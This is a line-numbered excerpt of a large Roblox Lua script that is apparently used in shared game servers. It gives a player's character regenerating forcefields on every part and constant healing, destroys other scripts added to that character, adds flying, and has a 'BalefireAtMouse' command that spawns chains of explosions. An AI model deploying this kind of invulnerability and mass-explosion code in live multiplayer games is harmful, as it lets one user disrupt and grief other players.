  2774.         bodyVelocity.maxForce = Vector3.new(0, 0, 0)
  2775.         bodyVelocity.velocity = Vector3.new(0, 0, 0)
  2776.         torsoLight = Instance.new("PointLight", torso)
  2777.         torsoLight.Brightness = 0.4
  2778.         torsoLight.Color = Color3.new(1, 1, 1)
  2779.         torsoLight.Range = 16
  2780.         torsoLight.Shadows = true
  2781.         local ff1, ff2, ff3, ff4, ff5, ff6, ff7, ff8, ff9 = Instance.new("ForceField", head), Instance.new("ForceField", leftArm), Instance.new("ForceField", leftLeg), Instance.new("ForceField", rightArm), Instance.new("ForceField", rightLeg), Instance.new("ForceField", torso), Instance.new("ForceField", wildcardHandle), Instance.new("ForceField", feetPart), Instance.new("ForceField", rootPart)
  2782.         local forcefields = {[ff1] = head, [ff2] = leftArm, [ff3] = leftLeg, [ff4] = rightArm, [ff5] = rightLeg, [ff6] = torso, [ff7] = wildcardHandle, [ff8] = feetPart, [ff9] = rootPart}
  2783.         local objects = {[humanoid] = true, [head] = true, [leftArm] = true, [leftLeg] = true, [rightArm] = true, [rightLeg] = true, [torso] = true, [rootPart] = true, [rootJoint] = true, [soundFreeFalling] = true, [soundGettingUp] = true, [soundRunning] = true, [leftHip] = true, [leftShoulder] = true, [rightHip] = true, [rightShoulder] = true, [neck] = true, [feetPart] = true, [feetWeld] = true, [feetTouchInterest] = true, [bodyGyro] = true, [bodyVelocity] = true, [ff1] = true, [ff2] = true, [ff3] = true, [ff4] = true, [ff5] = true, [ff6] = true, [ff7] = true, [ff8] = true, [ff9] = true}    
  2784.         local tshirtUrl = appearance.tshirt
  2785.         if tshirtUrl then
  2786.             local tshirt = Instance.new("Decal", torso)
  2787.             tshirt.Name = "roblox"
  2788.             tshirt.Texture = tshirtUrl
  2789.             objects[tshirt] = true
  2790.         end
  2791.         for _, template in ipairs(appearance.characterObjects) do
  2792.             local object = template:Clone()
  2793.             local newObjects = {object}
  2794.             for _, object in ipairs(newObjects) do
  2795.                 objects[object] = true
  2796.                 for _, child in ipairs(object:GetChildren()) do
  2797.                     table.insert(newObjects, child)
  2798.                 end            
  2799.             end
  2800.             if object:IsA("BodyColors") then
  2801.                 head.BrickColor = object.HeadColor
  2802.                 leftArm.BrickColor = object.LeftArmColor
  2803.                 leftLeg.BrickColor = object.LeftLegColor
  2804.                 rightArm.BrickColor = object.RightArmColor
  2805.                 rightLeg.BrickColor = object.RightLegColor
  2806.                 torso.BrickColor = object.TorsoColor
  2807.             elseif object:IsA("Hat") then
  2808.                 local handle = object:FindFirstChild("Handle")
  2809.                 if handle and handle:IsA("BasePart") then
  2810.                     local weld = Instance.new("Weld", head)
  2811.                     weld.C0 = CFrame.new(0, 0.5, 0)
  2812.                     local attachmentPos = object.AttachmentPos
  2813.                     local attachmentRight = object.AttachmentRight
  2814.                     local attachmentUp = object.AttachmentUp
  2815.                     local attachmentForward = object.AttachmentForward
  2816.                     weld.C1 = CFrame.new(attachmentPos.X, attachmentPos.Y, attachmentPos.Z,
  2817.                                          attachmentRight.X, attachmentUp.X, -attachmentForward.X,
  2818.                                          attachmentRight.Y, attachmentUp.Y, -attachmentForward.Y,
  2819.                                          attachmentRight.Z, attachmentUp.Z, -attachmentForward.Z)
  2820.                     weld.Name = "HeadWeld"
  2821.                     weld.Part0 = head
  2822.                     weld.Part1 = handle
  2823.                     handle.Parent = model
  2824.                     local antiGravity = Instance.new("BodyForce", handle)
  2825.                     antiGravity.force = Vector3.new(0, handle:GetMass() * 196.2, 0)
  2826.                     objects[object] = false
  2827.                     object.Parent = nil
  2828.                     objects[weld] = true
  2829.                 end
  2830.             end
  2831.             object.Parent = model
  2832.         end
  2833.         local facePresent = false
  2834.         local headMeshPresent = false
  2835.         for _, template in ipairs(appearance.headObjects) do
  2836.             local object = template:Clone()
  2837.             local newObjects = {object}
  2838.             for _, object in ipairs(newObjects) do
  2839.                 objects[object] = true
  2840.                 for _, child in ipairs(object:GetChildren()) do
  2841.                     table.insert(newObjects, child)
  2842.                 end            
  2843.             end
  2844.             if object:IsA("DataModelMesh") then
  2845.                 headMeshPresent = true
  2846.             elseif object:IsA("Decal") then
  2847.                 facePresent = true
  2848.             end
  2849.             object.Parent = head
  2850.         end
  2851.         if not facePresent then
  2852.             local face = Instance.new("Decal", head)
  2853.             face.Texture = "rbxasset://textures/face.png"
  2854.             objects[face] = true
  2855.         end
  2856.         if not headMeshPresent then
  2857.             local headMesh = Instance.new("SpecialMesh", head)
  2858.             headMesh.Scale = Vector3.new(1.25, 1.25, 1.25)
  2859.             objects[headMesh] = true
  2860.         end
  2861.         table.insert(connections, model.DescendantAdded:connect(function(object)
  2862.             local success, is_localscript = pcall(Game.IsA, object, "LocalScript")
  2863.             if success and is_localscript then
  2864.                 pcall(Utility.SetProperty, object, "Disabled", true)
  2865.                 local changed_connection = pcall(object.Changed.connect, object.Changed, function(property)
  2866.                     if property == "Disabled" and not object.Disabled then
  2867.                         pcall(Utility.SetProperty, object, "Disabled", true)
  2868.                         object:Destroy()
  2869.                     end
  2870.                 end)
  2871.             end
  2872.             if not objects[object] then
  2873.                 object:Destroy()
  2874.             end
  2875.         end))
  2876.         model.Parent = Workspace
  2877.         Player.Character = model
  2878.         Camera.CameraSubject = humanoid
  2879.         Camera.CameraType = "Track"
  2880.         Camera.CoordinateFrame = cameraCFrame
  2881.         local IsStanding
  2882.         local RegenerateHealth
  2883.         local ResetCharacter
  2884.         function IsStanding()
  2885.             return not not next(feetTouching)
  2886.         end
  2887.         function RegenerateHealth()
  2888.             if humanoid.Health < 1 then
  2889.                 humanoid.Health = 100
  2890.             elseif not regeneratingHealth then
  2891.                 regeneratingHealth = true
  2892.                 local elapsedTime = wait(1)
  2893.                 regeneratingHealth = false
  2894.                 if humanoid.Health < 100 then
  2895.                     humanoid.Health = math.min(humanoid.Health + elapsedTime, 100)
  2896.                 end
  2897.             end
  2898.         end
  2899.         function ResetCharacter()
  2900.             for index, connection in ipairs(connections) do
  2901.                 connection:disconnect()
  2902.             end
  2903.             active = false
  2904.         end
  2905.         table.insert(connections, model.AncestryChanged:connect(ResetCharacter))
  2906.         table.insert(connections, model.DescendantRemoving:connect(function(object)
  2907.             local parent = forcefields[object]
  2908.             if parent then
  2909.                 forcefields[object] = nil
  2910.                 local new_forcefield = Instance.new("ForceField")
  2911.                 forcefields[new_forcefield] = parent
  2912.                 objects[new_forcefield] = true
  2913.                 new_forcefield.Parent = parent
  2914.             elseif objects[object] then
  2915.                 ResetCharacter()
  2916.             end
  2917.         end))
  2918.         table.insert(connections, humanoid.HealthChanged:connect(RegenerateHealth))
  2919.         table.insert(connections, humanoid.Climbing:connect(function() pose = "Climbing" end))
  2920.         table.insert(connections, humanoid.FallingDown:connect(function(state)  pose = "FallingDown" end))
  2921.         table.insert(connections, humanoid.FreeFalling:connect(function(state) pose = "FreeFall" if state then soundFreeFalling:Play() else
  2922.  
  2923. soundFreeFalling:Pause() end end))
  2924.         table.insert(connections, humanoid.GettingUp:connect(function(state) pose = "GettingUp" if state then soundGettingUp:Play() else
  2925.  
  2926. soundGettingUp:Pause() end end))
  2927.         table.insert(connections, humanoid.PlatformStanding:connect(function() pose = "PlatformStanding" end))
  2928.         table.insert(connections, humanoid.Seated:connect(function() pose = "Seated" end))
  2929.         table.insert(connections, humanoid.Swimming:connect(function(speed) if speed > 0 then pose = "Swimming" else pose = "Standing" end end))
  2930.         local previousRootPartCFrame = rootPart.CFrame
  2931.         TaskScheduler.Start(function()
  2932.             while active do
  2933.                 local totalTime = TaskScheduler.GetCurrentTime()
  2934.                 local stepTime = 1 / 60
  2935.                 if not PlayerControl.characterEnabled then
  2936.                     ResetCharacter()
  2937.                     break
  2938.                 end
  2939.                 torsoLight.Brightness = 0.5 + 0.15 * math.sin(totalTime * 0.75 * math.pi)
  2940.                 local featherfallEnabled = PlayerControl.IsFeatherfallEnabled()
  2941.                 local rootPartCFrame = rootPart.CFrame
  2942.                 if not jumpDebounce and UserInterface:IsKeyDown(Enum.KeyCode.Space) then
  2943.                     if humanoid.Sit then
  2944.                         humanoid.Sit = false
  2945.                     end
  2946.                     if IsStanding() then
  2947.                         jumpDebounce = true
  2948.                         pose = "Jumping"
  2949.                         rootPart.Velocity = Vector3.new(rootPart.Velocity.X, 50, rootPart.Velocity.Z)
  2950.                         torso.Velocity = Vector3.new(torso.Velocity.X, 50, torso.Velocity.Z)                       
  2951.                         TaskScheduler.Schedule(1, function()
  2952.                             if pose == "Jumping" then
  2953.                                 pose = "FreeFall"
  2954.                             end
  2955.                             jumpDebounce = false
  2956.                             humanoid.Jump = false
  2957.                         end)
  2958.                     end
  2959.                 end
  2960.                 local cameraCFrame = Camera.CoordinateFrame
  2961.                 local cameraDirection = cameraCFrame.lookVector
  2962.                 if flying then
  2963.                     if PlayerControl.rolling then
  2964.                         local rootPartCFrame = rootPart.CFrame
  2965.                         local speed = (rootPartCFrame - rootPartCFrame.p):pointToObjectSpace(rootPart.Velocity).Y
  2966.                         local decay = 0.5 ^ stepTime
  2967.                         if math.abs(speed) <= 50 then
  2968.                             PlayerControl.rollingAngle = (((PlayerControl.rollingAngle + 0.5) % 1 - 0.5) * decay) % 1
  2969.                             PlayerControl.rollingOffset = PlayerControl.rollingOffset * decay
  2970.                         else
  2971.                             PlayerControl.rollingAngle = (PlayerControl.rollingAngle + stepTime * speed * PlayerControl.rollingSpeed) % 1
  2972.                             PlayerControl.rollingOffset = (PlayerControl.rollingOffset + PlayerControl.rollingMaxOffset * (1 / decay - 1)) * decay
  2973.                         end
  2974.                         rootJoint.C0 = (CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) * CFrame.Angles(PlayerControl.rollingAngle * 2 * math.pi, 0, 0)) * CFrame.new(0, -PlayerControl.rollingOffset, 0)
  2975.                     else
  2976.                         rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  2977.                         PlayerControl.rollingAngle = 0
  2978.                         PlayerControl.rollingOffset = 0
  2979.                     end
  2980.                     rightShoulder.MaxVelocity = 0.5
  2981.                     leftShoulder.MaxVelocity = 0.5
  2982.                     rightShoulder.DesiredAngle = 0
  2983.                     leftShoulder.DesiredAngle = 0
  2984.                     rightHip.DesiredAngle = 0
  2985.                     leftHip.DesiredAngle = 0
  2986.                     bodyGyro.D = 500
  2987.                     bodyGyro.P = 1e6
  2988.                     bodyGyro.maxTorque = Vector3.new(1e6, 1e6, 1e6)
  2989.                     bodyVelocity.P = 1250
  2990.                     bodyVelocity.maxForce = Vector3.new(1e6, 1e6, 1e6)
  2991.                     local movementRight = 0
  2992.                     local movementForward = 0
  2993.                     local movementUp = 0
  2994.                     if UserInterface:IsKeyDown(Enum.KeyCode.A) and not UserInterface:IsKeyDown(Enum.KeyCode.D) then
  2995.                         movementRight = -1
  2996.                     elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
  2997.                         movementRight = 1
  2998.                     end
  2999.                     if UserInterface:IsKeyDown(Enum.KeyCode.W) then
  3000.                         movementUp = 0.2
  3001.                         if not UserInterface:IsKeyDown(Enum.KeyCode.S) then
  3002.                             movementForward = -1
  3003.                         end
  3004.                     elseif UserInterface:IsKeyDown(Enum.KeyCode.S) then
  3005.                         movementForward = 1
  3006.                     end
  3007.                     local movement = PlayerControl.fly_acceleration * cameraCFrame:vectorToWorldSpace(Vector3.new(movementRight, movementUp, movementForward))
  3008.                     local previousMomentum = flyingMomentum
  3009.                     local previousTilt = flyingTilt
  3010.                     flyingMomentum = movement + flyingMomentum * (1 - PlayerControl.fly_acceleration / PlayerControl.fly_speed)
  3011.                     flyingTilt = ((flyingMomentum * Vector3.new(1, 0, 1)).unit:Cross((previousMomentum * Vector3.new(1, 0, 1)).unit)).Y
  3012.                     if flyingTilt ~= flyingTilt or flyingTilt == math.huge then
  3013.                         flyingTilt = 0
  3014.                     end
  3015.                     local absoluteTilt = math.abs(flyingTilt)
  3016.                     if absoluteTilt > 0.06 or absoluteTilt < 0.0001 then
  3017.                         if math.abs(previousTilt) > 0.0001 then
  3018.                             flyingTilt = previousTilt * 0.9
  3019.                         else
  3020.                             flyingTilt = 0
  3021.                         end
  3022.                     else
  3023.                         flyingTilt = previousTilt * 0.77 + flyingTilt * 0.25
  3024.                     end
  3025.                     previousTilt = flyingTilt
  3026.                     if flyingMomentum.magnitude < 0.1 then
  3027.                         flyingMomentum = Vector3.new(0, 0, 0)
  3028. --                      bodyGyro.cframe = cameraCFrame
  3029.                     else
  3030.                         local momentumOrientation = CFrame.new(Vector3.new(0, 0, 0), flyingMomentum)
  3031.                         local tiltOrientation = CFrame.Angles(0, 0, -20 * flyingTilt)
  3032.                         bodyGyro.cframe = momentumOrientation * tiltOrientation * CFrame.Angles(-0.5 * math.pi * math.min(flyingMomentum.magnitude / PlayerControl.fly_speed, 1), 0, 0)
  3033.                     end
  3034.                     bodyVelocity.velocity = flyingMomentum + Vector3.new(0, 0.15695775618683547, 0)
  3035.                     rootPart.Velocity = flyingMomentum
  3036.                     previousMomentum = flyingMomentum
  3037.                 else
  3038.                     rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  3039.                     PlayerControl.rollingAngle = 0
  3040.                     PlayerControl.rollingOffset = 0
  3041.                     bodyGyro.D = 3250
  3042.                     bodyGyro.P = 400000
  3043.                     bodyVelocity.P = 5000
  3044.                     local cameraDirection = cameraCFrame.lookVector
  3045.                     local walkDirection = Vector3.new(0, 0, 0)
  3046.                     local walkSpeed = 16
  3047.                     if UserInterface:IsKeyDown(Enum.KeyCode.W) then
  3048.                         if UserInterface:IsKeyDown(Enum.KeyCode.A) then
  3049.                             walkDirection = Vector3.new(cameraDirection.X + cameraDirection.Z, 0, cameraDirection.Z - cameraDirection.X).unit
  3050.                         elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
  3051.                             walkDirection = Vector3.new(cameraDirection.X - cameraDirection.Z, 0, cameraDirection.Z + cameraDirection.X).unit
  3052.                         else
  3053.                             walkDirection = Vector3.new(cameraDirection.X, 0, cameraDirection.Z).unit
  3054.                         end
  3055.                     elseif UserInterface:IsKeyDown(Enum.KeyCode.S) then
  3056.                         if UserInterface:IsKeyDown(Enum.KeyCode.A) then
  3057.                             walkDirection = Vector3.new(-cameraDirection.X + cameraDirection.Z, 0, -cameraDirection.Z - cameraDirection.X).unit
  3058.                         elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
  3059.                             walkDirection = Vector3.new(-cameraDirection.X - cameraDirection.Z, 0, -cameraDirection.Z + cameraDirection.X).unit
  3060.                         else
  3061.                             walkDirection = Vector3.new(-cameraDirection.X, 0, -cameraDirection.Z).unit
  3062.                         end
  3063.                     elseif UserInterface:IsKeyDown(Enum.KeyCode.A) then
  3064.                         walkDirection = Vector3.new(cameraDirection.Z, 0, -cameraDirection.X).unit
  3065.                     elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
  3066.                         walkDirection = Vector3.new(-cameraDirection.Z, 0, cameraDirection.X).unit
  3067.                     else
  3068.                         walkSpeed = 0
  3069.                     end
  3070.                     if walkSpeed ~= previousWalkSpeed then
  3071.                         if walkSpeed > 0 then
  3072.                             soundRunning:Play()
  3073.                         else
  3074.                             soundRunning:Pause()
  3075.                         end
  3076.                     end
  3077.                     if walkSpeed > 0 then
  3078.                         if pose ~= "Jumping" then
  3079.                             if IsStanding() then
  3080.                                 pose = "Running"
  3081.                             else
  3082.                                 pose = "FreeFall"
  3083.                             end
  3084.                         end
  3085.                         bodyGyro.cframe = CFrame.new(Vector3.new(), walkDirection)
  3086.                         bodyGyro.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  3087.                         bodyVelocity.maxForce = Vector3.new(1000000, maxForceY, 1000000)
  3088.                     else
  3089.                         if pose ~= "Jumping" then
  3090.                             if IsStanding() then
  3091.                                 pose = "Standing"
  3092.                             else
  3093.                                 pose = "FreeFall"
  3094.                             end
  3095.                         end
  3096.                         -- TODO: find and fix bug that causes torso to rotate back to some angle
  3097.                         bodyGyro.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000) -- Vector3.new(1000000000, 0, 1000000000)
  3098.                         if PlayerControl.pushable then
  3099.                             bodyVelocity.maxForce = Vector3.new(0, 0, 0)
  3100.                         else
  3101.                             bodyVelocity.maxForce = Vector3.new(1000000, 0, 1000000)
  3102.                         end
  3103.                     end
  3104.                     if featherfallEnabled then
  3105.                         local velocity = rootPart.Velocity
  3106.                         if velocity.Y > 50 then
  3107.                             rootPart.Velocity = Vector3.new(velocity.X, 50, velocity.Z)
  3108.                         elseif velocity.Y < -50 then
  3109.                             rootPart.Velocity = Vector3.new(velocity.X, -50, velocity.Z)
  3110.                         end
  3111.                         local distanceVector = rootPartCFrame.p - previousRootPartCFrame.p
  3112.                         local offsetX, offsetY, offsetZ = distanceVector.X, distanceVector.Y, distanceVector.Z
  3113.                         local MAX_MOVEMENT = 50 * 0.03333333507180214
  3114.                         if offsetX > MAX_MOVEMENT then
  3115.                             offsetX = MAX_MOVEMENT
  3116.                         elseif offsetX < -MAX_MOVEMENT then
  3117.                             offsetX = -MAX_MOVEMENT
  3118.                         end
  3119.                         if offsetY > MAX_MOVEMENT then
  3120.                             offsetY = MAX_MOVEMENT
  3121.                         elseif offsetY < -MAX_MOVEMENT then
  3122.                             offsetY = -MAX_MOVEMENT
  3123.                         end
  3124.                         if offsetZ > MAX_MOVEMENT then
  3125.                             offsetZ = MAX_MOVEMENT
  3126.                         elseif offsetZ < -MAX_MOVEMENT then
  3127.                             offsetZ = -MAX_MOVEMENT
  3128.                         end
  3129.                         local offset = Vector3.new(offsetX, offsetY, offsetZ)
  3130.                         if offset ~= distanceVector then
  3131.                             rootPartCFrame = previousRootPartCFrame + offset
  3132.                             --rootPart.CFrame = rootPartCFrame
  3133.                         end
  3134.                     end
  3135.                     local walkingVelocity = walkDirection * walkSpeed
  3136.                     bodyVelocity.velocity = walkingVelocity
  3137.                     if not jumpDebounce and math.abs(rootPart.Velocity.Y) <= 0.1 then
  3138.                         rootPart.Velocity = Vector3.new(walkingVelocity.X, rootPart.Velocity.Y, walkingVelocity.Z)
  3139.                     end
  3140.                     previousWalkSpeed = walkSpeed
  3141.                     if pose == "Jumping" or jumpDebounce then
  3142.                         rightShoulder.MaxVelocity = 0.5
  3143.                         leftShoulder.MaxVelocity = 0.5
  3144.                         rightShoulder.DesiredAngle = 3.14
  3145.                         leftShoulder.DesiredAngle = -3.14
  3146.                         rightHip.DesiredAngle = 0
  3147.                         leftHip.DesiredAngle = 0
  3148.                     elseif pose == "FreeFall" then
  3149.                         rightShoulder.MaxVelocity = 0.5
  3150.                         leftShoulder.MaxVelocity = 0.5
  3151.                         rightShoulder.DesiredAngle = 3.14
  3152.                         leftShoulder.DesiredAngle = -3.14
  3153.                         rightHip.DesiredAngle = 0
  3154.                         leftHip.DesiredAngle = 0
  3155.                     elseif pose == "Seated" then
  3156.                         rightShoulder.MaxVelocity = 0.15
  3157.                         leftShoulder.MaxVelocity = 0.15
  3158.                         rightShoulder.DesiredAngle = 3.14 / 2
  3159.                         leftShoulder.DesiredAngle = -3.14 / 2
  3160.                         rightHip.DesiredAngle = 3.14 / 2
  3161.                         leftHip.DesiredAngle = -3.14 / 2
  3162.                     else
  3163.                         local climbFudge = 0
  3164.                         local amplitude
  3165.                         local frequency
  3166.                         if pose == "Running" then
  3167.                             rightShoulder.MaxVelocity = 0.15
  3168.                             leftShoulder.MaxVelocity = 0.15
  3169.                             amplitude = 1
  3170.                             frequency = 9
  3171.                         elseif (pose == "Climbing") then
  3172.                             rightShoulder.MaxVelocity = 0.5
  3173.                             leftShoulder.MaxVelocity = 0.5
  3174.                             amplitude = 1
  3175.                             frequency = 9
  3176.                             climbFudge = 3.14
  3177.                         else
  3178.                             amplitude = 0.1
  3179.                             frequency = 1
  3180.                         end
  3181.                         local desiredAngle = amplitude * math.sin(totalTime * frequency)
  3182.                         rightShoulder.DesiredAngle = desiredAngle + climbFudge
  3183.                         leftShoulder.DesiredAngle = desiredAngle - climbFudge
  3184.                         rightHip.DesiredAngle = -desiredAngle
  3185.                         leftHip.DesiredAngle = -desiredAngle
  3186.                     end
  3187.                 end
  3188.                 previousRootPartCFrame = rootPartCFrame
  3189.                 RunService.RenderStepped:wait()
  3190.             end
  3191.             if model.Parent ~= nil then
  3192.                 model.Parent = nil
  3193.             end
  3194.             PlayerControl.CreateCharacter()
  3195.         end)
  3196.         humanoid.Health = 100
  3197.         character = model
  3198.         chatAdornee = head
  3199.     elseif characterMode == "pyramid" then
  3200.         if PlayerControl.characterEnabled then
  3201.             Camera.CameraType = "Fixed"
  3202.             PyramidCharacter.camera_distance = (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude
  3203.             PyramidCharacter.camera_position = Camera.Focus.p
  3204.             PyramidCharacter.Teleport(Camera.Focus.p)
  3205.             PyramidCharacter.visible = true
  3206.             Player.Character = nil
  3207.         else
  3208.             PyramidCharacter.visible = false
  3209.         end
  3210.     end
  3211. end
  3212. function PlayerControl.GetCharacter()
  3213.     return character
  3214. end
  3215. function PlayerControl.GetHead()
  3216.     local characterMode = PlayerControl.characterMode
  3217.     if characterMode == "normal" then
  3218.         return head
  3219.     elseif characterMode == "pyramid" then
  3220.         return PyramidCharacter.core
  3221.     end
  3222. end
  3223. function PlayerControl.GetHumanoid()
  3224.     return humanoid
  3225. end
  3226. function PlayerControl.GetRootPart()
  3227.     return rootPart
  3228. end
  3229. function PlayerControl.GetTorso()
  3230.     return torso
  3231. end
  3232. function PlayerControl.IsEnabled()
  3233.     return PlayerControl.characterEnabled
  3234. end
  3235. function PlayerControl.IsFeatherfallEnabled()
  3236.     return PlayerControl.featherfallEnabled
  3237. end
  3238. function PlayerControl.IsPushable()
  3239.     return PlayerControl.pushable
  3240. end
  3241. function PlayerControl.IsRolling()
  3242.     return PlayerControl.rolling
  3243. end
  3244. function PlayerControl.ResetCharacter()
  3245.     if character and character.Parent then
  3246.         character.Parent = nil
  3247.     end
  3248.     PyramidCharacter.visible = false
  3249. end
  3250. function PlayerControl.SetEnabled(state, no_animation)
  3251.     state = not not state
  3252.     if state ~= PlayerControl.characterEnabled then
  3253.         PlayerControl.characterEnabled = state
  3254.         local characterMode = PlayerControl.characterMode
  3255.         if characterMode == "normal" then
  3256.             local torso = PlayerControl.GetRootPart()
  3257.             local rootPart = PlayerControl.GetRootPart()
  3258.             if rootPart then
  3259.                 if PlayerControl.characterEnabled then
  3260.                     local torso_cframe = Camera.Focus:toWorldSpace(PlayerControl.hide_torso_object_cframe)
  3261.                     PlayerControl.torso_cframe = torso_cframe
  3262.                     torso.CFrame = torso_cframe
  3263.                     rootPart.CFrame = torso_cframe
  3264.                 else
  3265.                     PlayerControl.hide_torso_object_cframe = Camera.Focus:toObjectSpace(rootPart.CFrame)
  3266.                 end
  3267.             else
  3268.                 PlayerControl.torso_cframe = Camera.Focus
  3269.             end
  3270.             if PlayerControl.characterEnabled then
  3271.                 PlayerControl.CreateCharacter()
  3272.                 RunService.Stepped:wait()
  3273.                 coroutine.yield()
  3274.                 if not no_animation then
  3275.                     GraphicalEffects.CrystalRing({base_part = PlayerControl.GetTorso(), crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
  3276.                 end    
  3277.             else
  3278.                 Player.Character = nil
  3279.                 Camera.CameraType = "Fixed"
  3280.                 if not no_animation then
  3281.                     GraphicalEffects.CrystalRing({position = PlayerControl.GetTorso().Position, crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
  3282.                 end
  3283.             end
  3284.         else
  3285.             if state then
  3286.                 PlayerControl.CreateCharacter()
  3287.                 RunService.Stepped:wait()
  3288.                 coroutine.yield()
  3289.                 if not no_animation then
  3290.                     GraphicalEffects.CrystalRing({base_part = PyramidCharacter.core, crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
  3291.                 end
  3292.             else
  3293.                 PyramidCharacter.visible = false
  3294.                 if not no_animation then
  3295.                     GraphicalEffects.CrystalRing({position = PyramidCharacter.core.Position, crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
  3296.                 end
  3297.             end
  3298.         end
  3299.     end
  3300. end
  3301. function PlayerControl.SetFeatherfallEnabled(state)
  3302.     state = not not state
  3303.     if state ~= PlayerControl.featherfallEnabled then
  3304.         PlayerControl.featherfallEnabled = state
  3305.         if state then
  3306.             Logger.print("Info", "Featherfall enabled in PlayerControl")
  3307.         else
  3308.             Logger.print("Info", "Featherfall disabled in PlayerControl")
  3309.         end
  3310.     end
  3311. end
  3312. function PlayerControl.SetPushable(state)
  3313.     state = not not state
  3314.     if state ~= PlayerControl.pushable then
  3315.         PlayerControl.pushable = state
  3316.         if state then
  3317.             Logger.print("Info", "Pushing enabled in PlayerControl")
  3318.         else
  3319.             Logger.print("Info", "Pushing disabled in PlayerControl")
  3320.         end
  3321.     end
  3322. end
  3323. function PlayerControl.SetRolling(state)
  3324.     state = not not state
  3325.     if state ~= PlayerControl.rolling then
  3326.         PlayerControl.rolling = state
  3327.         if state then
  3328.             Logger.print("Info", "Rolling fly mode enabled in PlayerControl")
  3329.         else
  3330.             Logger.print("Info", "Rolling fly mode disabled in PlayerControl")
  3331.         end
  3332.     end
  3333. end
  3334. function PlayerControl.StartFlying()
  3335.     PlayerControl.fly_speed = PlayerControl.fly_basespeed
  3336.     if torso then
  3337.         flyingMomentum = torso.Velocity + torso.CFrame.lookVector * 3 + Vector3.new(0, 10, 0)
  3338.     else
  3339.         flyingMomentum = Vector3.new()
  3340.     end
  3341.     flyingTilt = 0
  3342.     flying = true
  3343. end
  3344. function PlayerControl.StopFlying()
  3345.     if bodyGyro.cframe then
  3346.         local lookVector = bodyGyro.cframe.lookVector
  3347.         if lookVector.X ~= 0 or lookVector.Z ~= 0 then
  3348.             bodyGyro.cframe = CFrame.new(Vector3.new(), Vector3.new(lookVector.X, 0, lookVector.Z))
  3349.         end
  3350.     end
  3351.     flying = false
  3352. end
  3353. local previousTime = 0
  3354.  
  3355. ControllerCommands = {};
  3356.  
  3357. ControllerCommands = {};
  3358.  
  3359. ControllerCommands.BALEFIRE_SPEED = 40
  3360. function ControllerCommands.BalefireAtMouse()
  3361.         local head = chatAdornee
  3362.         if head then
  3363.                 local target = Mouse.Hit.p
  3364.                 local origin = head.Position
  3365.                 local direction = (target - origin).unit
  3366.                 local explosionCount = 0
  3367.                 local animation_frame = 0
  3368.                 local magic_circle_position = origin + direction * 4
  3369.                 local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction)
  3370.                 local magic_circle_part = Instance.new("Part")
  3371.                 local magic_circle_mesh = Instance.new("BlockMesh", magic_circle_part)
  3372.                 local magic_circle_light = Instance.new("PointLight", magic_circle_part)
  3373.                 local magic_circle_decal_back = Instance.new("Decal", magic_circle_part)
  3374.                 local magic_circle_decal_front = Instance.new("Decal", magic_circle_part)
  3375.                 magic_circle_part.Anchored = true
  3376.                 magic_circle_part.Archivable = false
  3377.                 magic_circle_part.BottomSurface = "Smooth"
  3378.                 magic_circle_part.CanCollide = false
  3379.                 magic_circle_part.CFrame = magic_circle_cframe
  3380.                 magic_circle_part.FormFactor = "Custom"
  3381.                 magic_circle_part.Locked = true
  3382.                 magic_circle_part.Size = Vector3.new(0.2, 0.2, 0.2)
  3383.                 magic_circle_part.TopSurface = "Smooth"
  3384.                 magic_circle_part.Transparency = 1
  3385.                 magic_circle_mesh.Scale = Vector3.new(60, 60, 0)
  3386.                 magic_circle_light.Color = Color3.new(1, 0.5, 1)
  3387.                 magic_circle_light.Range = 16
  3388.                 magic_circle_light.Shadows = true
  3389.                 magic_circle_decal_back.Face = "Back"
  3390.                 magic_circle_decal_back.Texture = "rbxassetid://122610943"
  3391.                 magic_circle_decal_front.Face = "Front"
  3392.                 magic_circle_decal_front.Texture = "rbxassetid://122610943"
  3393.                 local function NextExplosion()
  3394.                         explosionCount = explosionCount + 1
  3395.                         Instance.new("Explosion", Workspace).Position = origin + direction * (explosionCount * 8 + 4)
  3396.                 end
  3397.                 local function AnimateMagicCircle()
  3398.                         animation_frame = animation_frame + 1
  3399.                         local transparency = (animation_frame / 40) ^ 3
  3400.                         if animation_frame == 40 then
  3401.                                 pcall(Game.Destroy, magic_circle_part)
  3402.                         else
  3403.                                 if magic_circle_part.Parent ~= Workspace then
  3404.                                         pcall(Utility.SetProperty, magic_circle_part, "Parent", Workspace)
  3405.                                 end
  3406.                                 head = PlayerControl.GetHead()
  3407.                                 if head then
  3408.                                         magic_circle_position = head.Position + direction * 4
  3409.                                 end
  3410.                                 magic_circle_part.CFrame = CFrame.new(magic_circle_position, magic_circle_position + direction) * CFrame.Angles(0, 0,
  3411.  
  3412. math.tau * animation_frame / 40 * 1.5)
  3413.                                 magic_circle_light.Brightness = 1 - transparency
  3414.                                 magic_circle_decal_back.Transparency = transparency
  3415.                                 magic_circle_decal_front.Transparency = transparency
  3416.                         end
  3417.                 end
  3418.                 magic_circle_part.Parent = Workspace
  3419.                 for i = 1, 40 do
  3420.                         Delay((i - 1) / ControllerCommands.BALEFIRE_SPEED, NextExplosion)
  3421.                         Delay((i - 1) / 30, AnimateMagicCircle)
  3422.                 end
  3423.                 for i = 1, 20 do
  3424.                         Delay((i - 1) / ControllerCommands.BALEFIRE_SPEED, NextExplosion)
  3425.                 end
  3426.         end
  3427. end
  3428. function ControllerCommands.ControlRandomDummy()
  3429.         local dummies = {}
  3430.         local numDummies = 0
  3431.         for _, character in ipairs(Workspace:GetChildren()) do
  3432.                 local name = tostring(character)
  3433.                 if name == "???" or name == "Dummy" then
  3434.                         local head, humanoid
  3435.                         for _, child in ipairs(character:GetChildren()) do
  3436.                                 local className = child.ClassName
